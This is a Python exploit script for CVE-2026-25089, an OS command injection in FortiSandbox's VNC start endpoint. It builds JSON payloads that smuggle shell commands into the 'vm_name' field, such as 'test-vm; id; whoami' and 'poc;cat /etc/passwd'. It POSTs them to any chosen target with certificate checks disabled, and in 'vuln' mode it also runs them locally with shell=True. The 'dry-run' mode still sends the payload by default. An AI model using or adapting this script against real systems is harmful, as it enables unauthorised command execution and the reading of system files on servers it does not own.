#!/usr/bin/env python3
import argparse
import json
import requests
import subprocess
import sys
from urllib.parse import urljoin

def vulnerable_command_simulator(payload: dict) -> str:
    """Simulates the vulnerable OS command construction (CWE-78)."""
    vm_name = payload.get("vm_name", "default-vm")
    vnc_port = str(payload.get("vnc_port", "5900"))
    extra = payload.get("extra", "")

    # Vulnerable: direct interpolation (real FortiSandbox behavior)
    cmd = f"start_vnc.sh --vm '{vm_name}' --port {vnc_port} --extra '{extra}'"
    
    print(f"[VULN] Would execute → {cmd}")
    try:
        result = subprocess.run(cmd, shell=True, capture_output=True, text=True, timeout=8)
        return f"STDOUT:\n{result.stdout}\nSTDERR:\n{result.stderr}"
    except Exception as e:
        return f"Command error: {e}"


def send_to_target(target_url: str, payload: dict, timeout: int = 10):
    """Send JSON payload to target (simulates real attack)."""
    headers = {
        "Content-Type": "application/json",
        "User-Agent": "Mozilla/5.0 (compatible; CVE-2026-25089-Tester)"
    }
    
    try:
        print(f"[+] Sending payload to {target_url} ...")
        r = requests.post(target_url, json=payload, headers=headers, timeout=timeout, verify=False)
        print(f"[+] Response: {r.status_code} {r.reason}")
        if r.text:
            print(f"[+] Body preview: {r.text[:500]}...")
        return r
    except Exception as e:
        print(f"[-] Request failed: {e}")
        return None


def main():
    parser = argparse.ArgumentParser(
        description="CVE-2026-25089 Local/Remote Tester - FortiSandbox OS Command Injection",
        formatter_class=argparse.RawDescriptionHelpFormatter,
        epilog="""
Examples:
  python cve-2026-25089.py --target http://localhost:8080/start_vnc --vuln -p '{"vm_name":"test;id;whoami"}'
  python cve-2026-25089.py --target http://192.168.1.100 --payload '{"vm_name":"poc;cat /etc/passwd"}' -v
        """
    )

    parser.add_argument("--target", "-t", type=str, default="http://localhost:8080/api/vnc/start",
                        help="Target URL (default: http://localhost:8080/api/vnc/start)")
    parser.add_argument("-p", "--payload", type=str,
                        default='{"vm_name": "test-vm; id; whoami", "vnc_port": "5900", "extra": ""}',
                        help="JSON payload for the vulnerability")
    parser.add_argument("--vuln", action="store_true",
                        help="Simulate vulnerable behavior (local command injection)")
    parser.add_argument("-c", "--cmd", default="id; whoami",
                        help="Command to inject for testing")
    parser.add_argument("-v", "--verbose", action="store_true", help="Verbose output")
    parser.add_argument("--no-send", action="store_true", help="Do not send HTTP request, only simulate locally")

    args = parser.parse_args()

    print("=== CVE-2026-25089 Tester (FortiSandbox VNC Start) ===")
    print("Type : Second-Order OS Command Injection (CWE-78)")
    print(f"Target: {args.target}\n")

    try:
        payload = json.loads(args.payload)
        # Allow quick command override
        if args.cmd and "vm_name" in payload:
            payload["vm_name"] = f"test; {args.cmd}"
        print(f"Payload:\n{json.dumps(payload, indent=2)}")
    except json.JSONDecodeError as e:
        print(f"[-] Invalid JSON: {e}")
        sys.exit(1)

    if args.vuln:
        print("\n[+] VULNERABLE SIMULATION MODE")
        output = vulnerable_command_simulator(payload)
        print("\n" + "="*70)
        print(output)
        print("="*70)
    else:
        print("\n[+] SAFE / DRY-RUN mode (no real injection)")

    if not args.no_send:
        send_to_target(args.target, payload)

    if args.verbose:
        print("\nSuggestion: Use --vuln for local command testing. Combine with a local Flask/FastAPI mock server for full simulation.")


if __name__ == "__main__":
    # Suppress SSL warnings for self-signed targets
    import urllib3
    urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
    main()